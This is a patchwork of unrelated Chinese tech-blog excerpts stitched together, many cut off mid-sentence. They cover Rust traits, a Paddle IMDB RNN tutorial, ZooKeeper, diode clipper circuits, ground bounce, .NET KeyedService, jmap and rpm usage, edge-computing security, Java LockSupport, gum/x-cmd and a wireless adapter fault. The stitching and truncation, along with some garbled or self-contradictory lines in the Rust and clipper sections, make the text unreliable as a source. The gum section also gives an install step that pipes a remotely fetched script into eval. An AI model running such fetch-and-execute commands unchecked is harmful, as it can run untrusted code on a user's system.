对于第一个self参数,常见的类型有self :Self、self:&Self、self :&mut Self等类型。对于以上这些类型,Rust提供了一种简化的写法,我们可以将参数简写为self、&self、&mut self。
self参数只能用在第一个参数的位置。请注意“变量self”和“类型Self”的大小写不同。示例如下:
所以,回到开始定义的那个Shape trait,上面定义的这个area方法的参数的名字为self,它的类型是αSelf类型。我们可以把上面这个方法的声明看成:
我们可以为某些具体类型实现(impl)这个trait。
假如我们有一个结构体类型Circle,它实现了这个trait,代码如下:
另外,针对一个类型,我们可以直接对它impl来增加成员方法,无须trait名字。比如:
静态方法 没有receiver参数的方法(第一个参数不是self参数的方法)称作“静态方法”。静态方法可以通过Type::FunctionName()的方式调用。需要注意的是,即便我们的第一个参数是Self相关类型,只要变量名字不是self,就不能使用小数点的语法调用函数。
扩展方法 我们还可以利用trait给其他的类型添加成员方法,哪怕这个类型不是我们自己写的。比如,我们可以为内置类型i32添加一个方法:
完整函数调用语法 Fully Qualified Syntax提供一种无歧义的函数调用语法,允许程序员精确地指定想调用的是那个函数。
以前也叫UFCS(universal function call syntax),也就是所谓的“通用函数调用语法”。
这个语法可以允许使用类似的写法精确调用任何方法,包括成员方法和静态方法。
其他一切函数调用语法都是它的某种简略形式。它的具体写法为::item。示例如下:
我们定义了两个trait,它们的start()函数有同样方法签名。
如果一个类型同时实现了这两个trait,那么如果我们使用variable.start()这样的语法执行方法调用的话,就会出现歧义,编译器不知道你具体想调用哪个方法,编译错误信息为“multiple applicable items in scope”。
这时候,我们就有必要使用完整的函数调用语法来进行方法调用,只有这样写,才能清晰明白且无歧义地表达清楚期望调用的是哪个函数:
使用RNN完成IMDB电影评论情感分析 任务描述一、环境设置二、数据准备2.1 参数设置2.2 用padding的方式对齐数据2.3 用Dataset与DataLoader加载三、模型配置四、模型训练五、模型评估六、模型预测 任务描述 本示例教程演示如何在IMDB数据集上使用RNN网络完成文本分类的任务。IMDB数据集包含对电影评论进行正向和负向标注的数据,共有25000条文本数据作为训练集,25000条文本数据作为测试集。数据集的官方地址为:IMDB Dataset
一、环境设置 本示例基于飞桨开源框架2.0版本。
import paddle import numpy as np import matplotlib.pyplot as plt import paddle.nn as nn print(paddle.__version__) # 查看当前版本 # cpu/gpu环境选择,在 paddle.set_device() 输入对应运行设备。 device = paddle.set_device('gpu') 2.0.1 二、数据准备 由于IMDB是NLP领域中常见的数据集,飞桨框架将其内置,路径为paddle.text.datasets.Imdb。通过mode参数可以控制训练集与测试集。
print('loading dataset...') train_dataset = paddle.text.datasets.Imdb(mode='train') test_dataset = paddle.text.datasets.Imdb(mode='test') print('loading finished') 构建了训练集与测试集后,可以通过word_idx获取数据集的词表。
word_dict = train_dataset.word_idx # 获取数据集的词表 # add a pad token to the dict for later padding the sequence word_dict['<pad>'] = len(word_dict) for k in list(word_dict)[:5]: print("
欢迎来到我的博客,代码的世界里,每一行都是一个故事 ZooKeeper初探:分布式世界的守护者 前言Zookeeper的概述分布式系统中的角色和作用: Zookeeper的数据模型Znode的概念和层次结构:Znode的类型和应用场景:应用场景: Zookeeper的基本原理ZooKeeper的基本原理: Zookeeper的基础操作监听器的使用和事件通知: 前言 在分布式系统的大舞台上,ZooKeeper如同一位悠扬的钢琴师,在这场音乐中谱写着各个节点的和谐旋律。本篇文章将带你进入这个神奇的音乐厅,解析ZooKeeper的基础知识,让你更加熟悉这位分布式系统的基石。
Zookeeper的概述 ZooKeeper 是一个开源的分布式协调服务,提供了一个高度可靠且高性能的协调基础,用于构建分布式系统。它是一个分布式的、开放源代码的分布式应用程序协调服务,是 Apache Hadoop 和 Apache HBase 等分布式系统的关键组件之一。
ZooKeeper 的设计目标主要包括:
一致性: ZooKeeper 提供的服务应该在所有节点上保持一致,即对于所有客户端来说,ZooKeeper 提供的数据应该是一致的。
可靠性: ZooKeeper 应该是高可用、高性能且可靠的,能够应对网络分区、节点故障等情况。
实时性: ZooKeeper 能够在一定时间内(通常是毫秒级别)完成客户端的请求,保证及时响应。
简单性: ZooKeeper 提供简单的 API,易于使用和理解。
分布式系统中的角色和作用: 在分布式系统中,ZooKeeper 扮演了关键的角色,主要有以下作用:
协调服务: ZooKeeper 提供了一致性和可靠性的协调服务,用于管理和协调分布式系统中的各个节点,确保它们能够同步工作。
配置管理: 分布式系统中的配置信息可以存储在 ZooKeeper 中,各个节点通过监听配置节点的变化来动态调整自己的配置。
命名服务: ZooKeeper 提供了一个命名空间,可以用于存储节点的名称和相关的信息,实现分布式系统中的命名服务。
分布式锁: ZooKeeper 提供了分布式锁的实现,通过在 ZooKeeper 中创建临时节点,可以实现分布式环境下的协同工作,例如实现互斥访问共享资源。
分布式队列: ZooKeeper 的有序节点可以用来构建分布式队列,实现任务的有序执行。
分布式通知: ZooKeeper 提供了监视节点的功能,当节点的状态发生变化时,可以通知相关的节点。
总体而言,ZooKeeper在分布式系统中起到了保障一致性、提供可靠性、管理配置、实现协调和解决分布式系统中常见问题的作用,是许多分布式系统的基础组件之一。
Zookeeper的数据模型 在ZooKeeper中,数据被组织成一个树状结构,类似于文件系统的目录结构。ZooKeeper的基本数据单元是Znode,每个Znode都可以存储数据,同时可以有子节点。
Znode的概念和层次结构: Znode(ZooKeeper节点): 是ZooKeeper中的基本数据单元。每个Znode都有一个唯一的路径(类似于文件系统中的路径),路径的形式类似于/path/to/znode。
层次结构: ZooKeeper的Znodes形成了一个层次结构,类似于文件系统的目录结构。根节点是一个特殊的Znode,其路径为/。每个Znode可以有多个子节点,形成树状结构。
Znode的类型和应用场景: Znode可以有不同的类型,这些类型决定了Znode的特性和用途。主要的Znode类型包括:
持久节点(Persistent Znode): 持久节点一旦创建,将一直存在,直到显式删除。这种节点常用于存储配置信息、静态数据等。
一、限幅是什么意思?
限幅也就是,将电压限制在某个范围内,去除交流信号的一部分但不会对波形的剩余部分造成影响。通常来说,限幅电路主要是由二极管构成,波形的形状取决于电路的配置和设计。
二、限幅电路工作原理
基于二极管的限幅电路分为2种:
串联二极管限幅电路
并联二极管限幅电路
三、串联二极管限幅电路
在串联限幅电路中,二极管与输出串联。当二极管正向偏置时导通时,输入信号在输出端。相反,当二极管反向偏置/阻断时,串联限幅电路会传递输入信号。 分为正/负限幅电路。
1、正限幅电路
串联正限幅去除波形的正半部分,如下所示,二极管处于反向偏置与输出串联。 输入信号Vi施加在输入侧,输出在负载电阻处获取。在输入的正半周期间,A点电压比B点电压为正,因此二极管处于反向偏置状态,没有电流导通。输入信号无法通过,因此Rl上没有压降。因此,输出端不会出现如图所示的正半周。在负半周期间,A点电压比B点电压为负。二极管变为正向偏置,信号通过它。信号出现在 Rl 上。因此,负半周通过电路并出现在输出端。
1)带偏置的正限幅电路
带偏置的正限幅电路用于限制正半周期的一部分,而不是整个半周期,使用具有正偏压或负偏压的串联正限幅器来产生所需的波形。
(1)正偏差
如下所示,电池的正极连接到二极管的P侧。在正半周期间,A点电压大于B点电压,二极管处于反向偏置状态并截止。但还有另一个电压源,其正极连接到二极管的 P 侧。该电压源或电池使二极管处于正向偏置状态。如果输入电压低于电池电压,二极管保持正向偏置并导通。因此,信号出现在输出端。当输入电压增加到电池电压之上时,二极管变为反向偏置并且不传导输入信号。因此,电池电压Vb出现在输出端。在负半周期期间,二极管由于输入电压和电池电压而正向偏置。因此,输入信号通过二极管并出现在输出端。
(2)负偏差
负偏差电池与二极管反向连接,如下。在正半周期期间,二极管由于输入电压而正向偏置。因此,输入信号通过二极管并出现在输出端。负半周期期间,二极管变为反向偏置并且不导通。因此,输出端没有电压,并且输入波形中的负半周期被削除。
2、负串联限幅电路
串联负限幅电路对输入周期的负半部分进行限幅。其电路图如下。在正半周期期间,二极管由于输入电压而正向偏置。因此,输入信号通过二极管并出现在输出端。在负半周期期间,二极管变为反向偏置并且不导通。因此,输出端没有电压,并且输入波形中的负半周期被削除
1)带偏置的串联负限幅电路
串联负限幅使用正电压/负电池进行偏置,修改波形,而不是限幅整个负半部分。
(1)正偏差
在正半周期期间,二极管由于输入信号电压而正向偏置,由于电池电压,是反向偏置。二极管的状态取决于两个电压源。因此,只有当输入电压大于电池电压时,二极管才会正向偏置并导通。 起初,输入电压低于电池电压,因此二极管反向偏置并且不导通。因此电池电压出现在输出端。如图所示,当输入信号变得大于电池电压时,该部分的输出出现。在负半周期期间,二极管由于输入电压和电池电压而反向偏置。因此,在整个负半周期内,只有电池电压出现在输出端。
(2)负偏差
在正半周期期间,二极管由于输入信号和电池电压而正向偏置。因此,二极管在整个正半周期内传导信号,并且它在输出中的表现与在输入中的表现一样。
在负半周期期间,输入电压迫使二极管反向偏置,但电池电压仍然使二极管正向偏置。在整个周期中,二极管仅在电池电压超过输入电压时导通。首先,输入电压低于电池电压,因此二极管导通,信号出现在输出端。但当它超过电池电压时,二极管会阻止输入信号,电池电压开始出现在输出端,如图所示。
四、并联限幅电路
在并联限幅电路中,二极管与输出并联,当二极管阻断时,输入信号出现在输出上,并联限幅电路分为正向和负向。
1、正向并联限幅电路
正向并联限限幅电路对正半周期进行限幅,具体如下所示:在正半周期间,由于A点电压大于B点,二极管正向偏置,因此二极管导通输入信号,输出端没有电压差。在负半周期期间,A点和B点输入信号的电压极性反转,二极管变为反向偏置。因此,二极管阻挡输入信号,并且信号电压出现在二极管两端,作为限幅器的输出。这样,分流器正向限幅器、限幅或去除输入周期的正半周并允许负半周。
1)带偏置的并联正向限幅电路
(1)正偏差
在正半周期期间,二极管由于输入电压而正向偏置。但由于电池电压的原因,它是反向偏置的。两个电压的总和将决定二极管的状态。如果输入电压大于电池电压,二极管将正向偏置,否则将保持反向偏置。
首先,输入信号小于电池电压,因此二极管反向偏置,信号出现在输出端。但当它超过电池电压时,二极管开始传导信号,并且只有电池电压开始出现在输出端。在负半周期期间,二极管由于输入电压和电池电压而反向偏置。因此,输入信号在输出端出现整个负半周期。
(2)负偏差
在正半周期期间,二极管针对输入信号和电池电压均正向偏置。因此,二极管在整个周期内导通,并且只有电池电压出现在输出端。在负半周期期间,二极管针对输入信号施加反向偏置,针对电池电压施加正向偏置。两个电压源的综合作用决定了二极管的状态。当输入电压低于电池电压时,二极管正向偏置。首先,输入信号小于电池电压,因此二极管正向偏置。因此,电池电压出现在输出端。当输入电压超过电池电压时,二极管变为反向偏置,输入信号开始出现在输出端,如图所示。
2、并联负向限幅电路
并联负限幅器限幅输入波形的负半部分。电路图如下。 在正半周期期间,二极管反向偏置,因此它会阻止出现在其上的信号。因此,正半部分也出现在输出端。在负半周期期间,二极管正向偏置并传导信号。因此,负半周期输出端没有电压。因此,并联负限幅器削波或去除输入波形的负半部分。
1)带偏置的并联负向限幅器
为了进一步修改分流负限幅器的波形,可以通过以称为正偏压和负偏压的两种方式之一连接电池源来使用正偏压或负偏压。可以通过改变电池电压来修改波形。
(1)正偏差
在正半周期期间,二极管对输入电压反向偏置,但对电池电压反向偏置。因此,只有当输入电压超过电池电压时,二极管才会反向偏置,然后输入信号才会出现在输出端。起初,信号小于电池,因此二极管正向偏置并传导信号。因此,输出处仅出现电池电压。但当输入信号超过电池电压时,二极管变为反向偏置,信号出现在输出端,如图所示。在负半周期期间,二极管针对输入信号和电池电压均正向偏置。因此,二极管导通,并且在整个负周期内只有电池电压出现在输出端。
(2)负偏差
在正半周期期间,二极管针对输入电压和电池电压均反向偏置。因此,二极管会阻断电压,并且信号在整个正半周期内出现在输出端。在负半周期,当输入电压超过电池电压时,二极管导通。因此,当电压低于电池电压时,二极管截止并且输出处出现信号。当输入电压超过时,二极管开始导通,输出端仅出现电池电压。
五、组合限幅电路
组合限幅可以从波形的正半周期和负半周期中限幅一部分。两个二极管彼此并联连接,其中每个二极管都有一个串联的电池或电压源,用于反向偏置相应的二极管。如下所示。该电路的工作原理很简单。如果两个二极管都反向偏置或不导通,则输入信号将出现在二极管两端,并且也会出现在输出处。现在,如果其中一个二极管开始导通,它们各自的电池电压将开始出现在输出端。在正半周期期间,对于输入电压,二极管 D1 正向偏置,而 D2 反向偏置。但二极管D1和D2分别针对电池电压V B1和V B2反向偏置。在正半周期期间,二极管D1针对输入电压正向偏置,针对电池电压V B1反向偏置。而二极管 D2 对于输入电压和电池电压 V B2 都反向偏置。首先,输入电压小于电池电压V B1,因此二极管D1处于反向偏置状态。而二极管D2已经处于反向偏置状态。因此,输入信号出现在输出端。当输入电压超过VB1时,二极管D1开始导通,电池电压VB1开始出现在输出端。在负半周期期间,二极管D1由于输入电压和电池电压V B1两者而反向偏置。二极管D2由于输入电压而正向偏置,但由于电池电压V B2 而反向偏置。首先,输入电压低于V B2,因此二极管D2反向偏置,不导通。二极管D1已经处于反向偏置状态。因此,输入信号出现在输出端。当输入电压超过V B2时,二极管开始导通,输出端出现电池电压V B2 。
1. 什么是地弹,地弹的概念,为何叫地弹
地弹、振铃、串扰、信号反射······这几个在信号完整性分析总是分析的重点对象。初学者一看:好高深!其实,感觉高深是因为你满天听到“地弹”二字,却到处找不到“地弹的真正原理”。地弹,就是地噪声!既然是地噪声,为啥叫“地弹”?为什么既然是一样的东西,却换了个名称,害的我苦苦思索不得其解?低频时,地噪声主要是因为构成地线的导体有“电阻”,电路系统的电流都要流经地线而产生的电势差波动。高频时,地噪声主要是因为构成地线的导体有“电感”,电路系统的电流快速变化地经过这个“电感”时,“电感”两端激发出更强的电压扰动,形象的称为“地弹”。地弹,一般对IC而言。因为芯片内部的“电路地”和芯片的“地引脚”实际上是用一根很细很细的金线连接起来的,所以这个金线电感较大,所以可能会导致芯片内部电路的地和现实PCB的地有强烈的“电压差波动”——很强的地弹现象!这个地弹不像PCB板那样,可以通过增加去耦电容减弱。假设你有一块B PCB板,一块A主板;B PCB板插在主板上使用。再假设A、B的地线连接点不够大,当A、B间有高速信号通讯时,B板上的“地平面”和A板上的“地平面”将有较大的“地间电压差波动”。这同样是一种PCB板上的“地弹效应”。
2. 地弹形成的机理和危害 2.1. 地弹形成的机理
如下图,红色框内代表数字电路。当下图中S5在不断的向左右切换时,由于地线上E、A间的R14电阻的存在,E点将相对于A点产生电势差。在高频状态下,E、A电势差的主要起因不再是“E、A间的电阻”,而是“E、A间的电感”。“E点的地”相对于“A点的地”的地噪声就是电路系统工作时的地弹现象。2.2. 地弹的危害
地噪声(地弹)相当于在一个“拥有理想地”的电路中,被外部“输入地噪声”。那么,假设E点上存在着1MHz的地噪声,这会有什么危害?
2.2.1. 地噪声使所有信号线上出现噪声
由上一章“地环路的危害”分析可知,假设上图中框内的数字模块有20根信号线,那么地噪声将直接反应在20根信号线上,从而影响这些信号的波形质量,并通过这20根信号线向外辐射。
2.2.2. 地弹使地线产生辐射
也许你会问:地线也会产生辐射?也许你阅读了某些讲PCB布线的书籍上描述到:不正确的铺地将产生“地线辐射”,加重干扰!——但是你不明白其原理,甚至怀疑书本作者有没有写错!那我告诉你,地线真有可能存在辐射!下图是一个单面PCB板的布线示意图。蓝色线代表从E点连出来的地线,细长地走单独分布在PCB板边缘,不和任何电子模块连接。由于该例子中,E点相对于A点存在1MHz的地噪声,那么整条蓝色的地线都相对于A点存在1MHz的噪声。而由于这条地线长长地拉在PCB板的边缘,这条线像一根发射天线那样(长长的形状、上面有1MHz的“将要发射的信号”),不断地发射“地噪声”。3. 如如何减弱“PCB地弹效应”
3.1. 增加恰当的去耦电容
实际上,为了减小1MHz对整个电路的干扰,我们在D、E点间加入去耦电容C7,如图示。那么,这个电容的作用是什么?其等效电路分析如下(注意,该等效电路不是非常准确,但是能说出大致原理,精确的模型请读者在技术上进阶后自行思考分析):由于C的容抗为:Zc=1/(2πfc),故对于电源和地的1MHz的噪声而言,等效为下图的R34。由于R34的阻抗远远小于(R32 + R33 + R35),而“噪声信号源”(即:图中的数字电路模块)又有相当大的“内阻”,所以会产生2个效果:
1、“噪声信号源”的大部分能量将通过R34——因而大部分噪声能量通过图中的“(1)”环路构成较小的环流路径而消失掉,这部分能量虽然强,但是不会干扰“(1)”以外的电路;只有小部分能量“逃出”“(1)”环路,以较弱的能量干扰其他电路。
2、“噪声信号源”的1MHz方波干扰将不复存在,将被C7滤成图中实线表示的类似正弦波的变化平滑的波形。这样的好处是:a. 环路面积减小,高频的辐射能量减轻,EMC干扰将大大减小;b. 方波干扰变成正弦波干扰,其高次谐波分量将大大减小,所以其干扰能力也大大减弱!哈哈,太和谐了!现在,你是否明白了:为什么数字芯片电源端一般要得接一个电源去耦电容?为什么很多讲PCB布线的书籍上都会出现“要添加电源去耦电容”?3.2. 用粗短的“地线”
由于地线存在电阻、电感而产生地噪声。所以,我们要减小地线的“电阻、电感”。当地线增大、长度减短时,其电阻和电感会减小,从而成功减小地噪声。这样,地弹将大大减小!所以在PCB Layout布线时,能用粗的地线就不要用细的地线;能用短的地线就不要用长的地线。注意:不要为了减短一点点地线而盲目地加长N倍的电源线,电源与地都是非常重要的,必须具体问题具体分析。所以还是那句——读者得注重原理,而不是具体的“减短地线的做法”。
4. 重点
(1)地弹,就是地噪声
(2)地弹使地线产生辐射
(3)增加恰当的去耦电容可减弱模块间的地弹效应
(4)注重原理,而不是具体的做法
文章目录 前言KeyedServiceKey缺少Key值覆盖 KeyedService.AnyKey生命周期测试代码 总结 前言 我之前写过一篇Ioc容器的使用,用的是微软的IOC容器。这次我们再去深入了解一下IOC 和控制反转
.NET Core 依赖注入 Microsoft.Extensions.DependencyInjection
ASP.NET CORE 内置的IOC解读及使用
ServiceCollection IOC容器 服务的生命周期
Dependency Injection 8.0新功能——KeyedService 作者: 寻己Tenleft
出处:https://www.cnblogs.com/tenleft/p/17719609.html
本站使用「CC BY 4.0」创作共享协议,转载请在文章明显位置注明作者及出处。
详解.NET依赖注入中对象的创建与“销毁”
KeyedService 使用Key值来对类进行区分。
Dependency Injection 8.0新功能——KeyedService public class Person { public List<Phone> Phones { get; set; } public Person() { } /// <summary> /// 使用拿到对应的 /// </summary> /// <param name="phone1"></param> /// <param name="phone2"></param> public Person( [FromKeyedServices("A")] Phone phone1, [FromKeyedServices("B")] Phone phone2) { Phones = new List<Phone> { phone1, phone2 }; } } public class Phone { public string Name { get; set; } public Phone() { } } static void Main(string[] args) { IServiceCollection services = new ServiceCollection() .
jmap 是 Java 虚拟机 (JVM) 中的一个命令行工具,用于生成堆转储。这个工具对于诊断内存问题、分析内存占用情况等非常有用。
jmap 官方文档 bash: jmap: command not found 命令找不到
# jmap -dump <pid> jmap -dump 137886 安装一下java-devel yum -y install java-devel 查看jmap jmap 官网截图
参数 <no option> 如果不使用任何选项,jmap命令将打印共享对象映射。对于目标JVM中加载的每个共享对象,将打印共享对象文件的起始地址、映射大小和完整路径。此行为类似于Oracle Solaris pmap实用程序。
-dump:[live,] format=b, file=filename 将hprof二进制格式的Java堆转储为filename。live子选项是可选的,但如果指定,则只转储堆中的活动对象。要浏览堆转储,可以使用jhat(1)命令读取生成的文件。
-finalizerinfo 打印有关等待完成的对象的信息。
-heap 打印所使用的垃圾收集、头配置和逐代堆使用情况的堆摘要。此外,还会打印出插入字符串的数量和大小。
-histo[:live] 打印堆的直方图。对于每个Java类,都会打印对象的数量、以字节为单位的内存大小和完全限定的类名。JVM内部类名以星号(*)前缀打印。如果指定了活动子选项,则只计算活动对象。
-clstats 打印Java堆的类加载程序统计信息。对于每个类加载器,都会打印其名称、活动程度、地址、父类加载器以及已加载的类的数量和大小。
-F 武力当pid没有响应时,将此选项与jmap-dump或jmap-histo选项一起使用。此模式不支持实时子选项。
-h 打印帮助消息。
-help 打印帮助消息。
-Jflag 将标志传递给运行jmap命令的Java虚拟机。
查看堆积在finalizer队列中的对象 jmap -histo 137886 jmap -clstats 137886 运行GC.class_stats命令时遇到了“requires -XX:+UnlockDiagnosticVMOptions”的错误,那么你需要确保在启动Java应用程序时加入了-XX:+UnlockDiagnosticVMOptions选项。
jmap -dump:format=b,file=tn1.hprof 137886 file=tn1.hprof 是保存文件
用top查到占用cpu最高的进程pid 根据进程ID找到占用CPU高的线程
ps -mp 60355 -o THREAD,tid | sort -r 用 printf "%x \n" 将tid换为十六进制:xid printf "%x \n" 6036 根据16进制格式的线程ID查找线程堆栈信息 jstack 60355 |grep ebcb -A 50 用 jmap 导出堆文件 jmap -dump:file=tenant.hprof 154181 打开JVisualVM C:\Program Files\Java\jdk1.8.0_241\bin 点击 文件 装入
要查看 RPM 包的名称,您可以使用 RPM 包管理器提供的查询功能。这些功能允许您查看已安装的 RPM 包列表以及每个包的详细信息。以下是几种查看 RPM 包名称的方法:
列出所有已安装的 RPM 包:
如果您想查看系统上所有已安装的 RPM 包,可以使用以下命令:
rpm -qa 这个命令会列出所有已安装包的名称。
查看特定 RPM 文件的名称:
如果您有一个 RPM 文件并想知道其包的名称,可以使用以下命令:
rpm -qip path_to_rpm_file.rpm 这里 path_to_rpm_file.rpm 是 RPM 文件的路径。这个命令将显示 RPM 文件的信息,包括包名称、版本、发布号等。
搜索特定的包名:
如果您正在寻找特定的包,可以使用 rpm 命令结合 grep 来搜索。例如,要搜索包含 “httpd” 的所有包,可以使用:
rpm -qa | grep httpd 这些方法适用于使用 RPM 包管理器的 Linux 系统,如 Red Hat Enterprise Linux、CentOS 或 Fedora。在使用这些命令时,请确保您有足够的权限,尤其是在访问系统级的包信息时。
要删除 RPM 包,您可以使用 RPM 包管理器的卸载功能。以下是用于从系统中删除 RPM 包的步骤:
找到要删除的包的名称:
首先,您需要知道要删除的 RPM 包的确切名称。您可以使用以下命令列出所有已安装的 RPM 包来找到包名:
边缘计算 一、边缘计算中的数据安全与隐私保护问题二、应对策略三、安全与隐私保护框架四、总结与展望 随着边缘计算的快速发展,数据安全与隐私保护问题已经成为了一个亟待解决的问题。边缘计算将数据处理和分析的任务从中心化的数据中心转移到了设备端,这种分布式计算模式虽然带来了许多优势,如更快的响应速度、更低的网络带宽需求以及更好的隐私保护,但也带来了新的安全挑战。本文将详细介绍边缘计算中的数据安全与隐私保护问题,并提出一些应对策略。
一、边缘计算中的数据安全与隐私保护问题 1. 数据泄露风险
在边缘计算环境中,数据在设备端进行处理和存储,如果设备存在安全漏洞,攻击者可能通过漏洞获取敏感数据,导致数据泄露。此外,由于边缘设备的资源限制,可能存在安全配置不当或安全更新不及时等问题,增加了数据泄露的风险。
2. 数据篡改风险
在边缘计算中,数据的处理和分析在设备端进行,如果攻击者篡改了设备上的数据,可能会导致处理结果失真或无效。此外,由于边缘设备的分散性,数据的完整性和真实性难以保证,增加了数据篡改的风险。
3. 隐私侵犯风险
在边缘计算中,对数据的处理和分析可能涉及用户的隐私。如果没有采取有效的隐私保护措施,用户的隐私可能被泄露。例如,通过分析用户的行为数据,攻击者可能推断出用户的个人隐私信息。此外,用户的敏感信息可能被用于不良目的,如个性化广告或歧视性决策。
二、应对策略 针对上述问题,本文将提出一些应对策略。
1. 数据加密
对数据进行加密是保护数据安全和隐私的基本手段。在边缘计算中,可以使用对称加密或公钥加密等加密算法对数据进行加密,确保数据在传输和存储过程中的机密性和完整性。此外,还可以使用加密算法对数据进行混淆或伪装,使得攻击者无法识别或理解数据的真实含义。
2. 访问控制
实施严格的访问控制策略是防止未经授权的访问和操作的重要手段。在边缘计算中,应限制对数据的访问权限,只有授权的用户才能访问和处理数据。可以通过基于角色的访问控制(RBAC)或基于属性的访问控制(ABAC)等模型进行权限管理。通过设置不同的角色和权限,可以控制对数据的访问和操作。
3. 数据隔离
数据隔离是通过将不同用户或应用程序的数据进行隔离,以防止数据泄露和交叉污染。在边缘计算中,可以采用虚拟化技术或容器化技术实现数据隔离,确保不同用户或应用程序之间的数据相互独立。通过数据隔离,可以降低数据泄露和篡改的风险。
4. 安全审计与监控
定期进行安全审计和监控是及时发现和处理安全事件的重要手段。在边缘计算中,应对设备和数据进行定期的安全审计和监控,及时发现和处理安全漏洞和威胁。通过安全审计和监控,可以及时发现和处理数据泄露、篡改等安全事件,降低风险。
5. 隐私保护算法
为了保护隐私,可以使用隐私保护算法对数据进行处理和分析。常见的隐私保护算法包括差分隐私、同态加密和匿名化处理等。这些算法可以在不泄露原始数据的情况下对数据进行处理和分析,从而保护用户隐私。例如:
差分隐私通过在数据中添加噪声来保护隐私,通过计算数据的变化对总体分布的影响来添加适当的噪声,使得攻击者无法准确推断出用户的个人信息。在边缘计算中,可以使用差分隐私算法对用户的行为数据进行处理和分析,同时保护用户的隐私。同态加密是一种允许对加密数据进行计算并得到加密结果,而不需要解密的加密方式。在边缘计算中,可以使用同态加密算法对数据进行加密和解密操作,使得攻击者无法获取数据的真实含义。通过同态加密,可以在不泄露原始数据的情况下对数据进行处理和分析,从而保护用户隐私。匿名化处理算法则通过对数据进行匿名化处理来保护用户的隐私。在边缘计算中,可以使用匿名化处理算法将用户的个人信息进行匿名化处理,使得攻击者无法识别用户的真实身份和个人信息。匿名化处理可以通过删除或模糊用户的标识符来实现,从而保护用户的隐私。 三、安全与隐私保护框架 为了更好地解决边缘计算中的数据安全与隐私保护问题,可以构建一个安全与隐私保护框架。该框架应包括以下几个关键组件:
1. 数据采集:在数据采集阶段,应确保采集的数据是合法、合规且安全的。这需要对数据来源进行验证,并对数据进行必要的清洗和过滤。
2. 数据传输:在数据传输阶段,应使用加密技术对数据进行加密,确保数据在传输过程中的机密性和完整性。此外,应采用合适的传输协议,确保数据传输的可靠性和效率。
3. 数据存储:在数据存储阶段,应将数据进行隔离存储,并采取必要的安全措施,如访问控制和加密存储,以防止数据泄露和未经授权的访问。
4. 数据处理与分析:在数据处理与分析阶段,应采用合适的隐私保护算法对数据进行处理和分析。这可以包括差分隐私、同态加密和匿名化处理等技术。同时,应限制对数据的访问权限,只有授权的用户才能访问和处理数据。
5. 数据共享与发布:在数据共享与发布阶段,应采取必要的安全措施,如访问控制和加密传输,以确保共享和发布的数据的安全性和隐私保护。
通过构建这样一个安全与隐私保护框架,可以更好地应对边缘计算中的数据安全与隐私保护问题。该框架可以提供一系列的安全措施和技术手段,以确保数据的机密性、完整性和隐私保护。
四、总结与展望 边缘计算中的数据安全与隐私保护问题是一个复杂且重要的挑战。为了应对这一挑战,我们需要采取一系列的安全措施和技术手段。本文介绍了数据加密、访问控制、数据隔离、安全审计与监控以及使用差分隐私、同态加密和匿名化处理等技术手段来保护数据的安全与隐私。此外,我们还提出了一个安全与隐私保护框架,以更好地应对边缘计算中的数据安全与隐私保护问题。
随着技术的不断发展,新的威胁和挑战也在不断涌现。未来的研究需要进一步探索更加高效、灵活和自适应的安全机制和隐私保护算法,以满足边缘计算日益增长的安全需求。同时,我们也需要加强法律法规的建设,明确数据安全与隐私保护的责任和义务,为边缘计算的发展提供更好的法律保障。
第1章:引言 大家好,我是小黑,今天咱们要聊聊Lock Support。Lock Support是Java并发编程的一块基石,它提供了一种非常底层的线程阻塞和唤醒机制,是许多高级同步工具的基础。
为什么要关注Lock Support?线程是并发执行的基本单元。咱们经常会遇到需要控制线程执行顺序的情况,比如防止资源冲突、确保数据一致性。这时候,就需要一些同步机制来拯救局面。Lock Support提供了一种灵活的线程阻塞和唤醒方式,不同于传统的synchronized和ReentrantLock,它更加轻量,更容易融入各种并发场景。
第2章:Lock Support简介 Lock Support,听起来是不是有点像是某个高大上的技术?其实它就是Java.util.concurrent包里的一个工具类。这个类里最重要的就是两个方法:park() 和 unpark()。这两个小伙伴,一个负责让线程停下来,另一个负责让线程继续跑。听起来很简单对吧?但它们可是大有来头。
在Java里,锁和同步是常见的话题。传统的同步工具像synchronized和ReentrantLock都是阻塞式的,意味着当一个线程获取不到锁时,就会进入阻塞状态,等待唤醒。这种方式虽然简单,但有时候效率不高,尤其是在高并发场景下。这时,Lock Support就闪亮登场了。
举个例子,假设小黑现在正在写一个并发程序,需要控制线程A和线程B的执行顺序。小黑可以用Lock Support轻松实现:
public class LockSupportExample { public static void main(String[] args) { final Thread threadA = new Thread(() -> { System.out.println("线程A等待信号"); LockSupport.park(); // 线程A停下来等待 System.out.println("线程A收到信号"); }); final Thread threadB = new Thread(() -> { System.out.println("线程B发送信号"); LockSupport.unpark(threadA); // 唤醒线程A }); threadA.start(); threadB.start(); } } 这段代码中,线程A会在调用park()时停下来,直到线程B调用unpark(threadA),线程A才会继续执行。这就是Lock Support的魅力所在,简单而强大。
第3章:基本概念和原理 Lock Support的核心就是两个方法:park() 和 unpark()。park() 用来阻塞当前线程,unpark(Thread thread) 则用来唤醒指定的线程。这听起来很像操作系统中的挂起和继续执行的概念,但Lock Support比这更灵活。
目录 简介首次用户功能特点Bubbles 与 Lip Gloss进一步探索 简介 gum 由 Charm 组织于 2022 年使用 Go 语言开发。旨在帮助用户编写 Shell 脚本与 dotfiles 时提供一系列快捷使用,可配置,可交互,美观的 Terminal UI 组件。
首次用户 使用 x gum 即可自动下载并使用
在终端运行 eval "$(curl https://get.x-cmd.com)" 即可完成 x 命令安装, 详情参考 x-cmd 官网 x-cmd 提供1分钟教程,其中包含了 gum 命令常用功能的 demo 示例,可以帮你快速上手 gum 。
使用案例:
# 在命令行中构建选项列表界面 $ x gum choose "1" "2" "3" # 在命令行中构建确认界面 $ x gum confirm && echo "Confirm" || echo "Cancel" # 在命令行中构建文件选择界面 $ x gum file .
背景说明:
系统:Xubuntu16.04;内核:4.14;无线网卡:EDIMAX EW-7822UAC
关于无线网卡的驱动安装和create_ap配置参考博文:Xubuntu16.04系统中使用EDIMAX EW-7822UAC无线网卡开启5G自发AP
目录 问题记录排查过程解决办法 问题记录 最近新买了一个EDIMAX EW-7822UAC无线网卡,安装了驱动,配置了create_ap,设置了5g的AP模式,当时无线网卡可以正常发射5g WIFI,外部设备也可以正常连接。今天我重启设备之后,突然就搜不到WIFI,赶紧排查了下驱动、网卡、createa_ap服务是否正常:
lsmod:查看驱动挂载 $ lsmod | grep 88 8821au 2142208 0 cfg80211 643072 1 8821au kvm_intel 217088 0 aesni_intel 188416 0 hid 114688 3 i2c_hid,usbhid,hid_penmount 可以看到8821au的驱动已经挂载
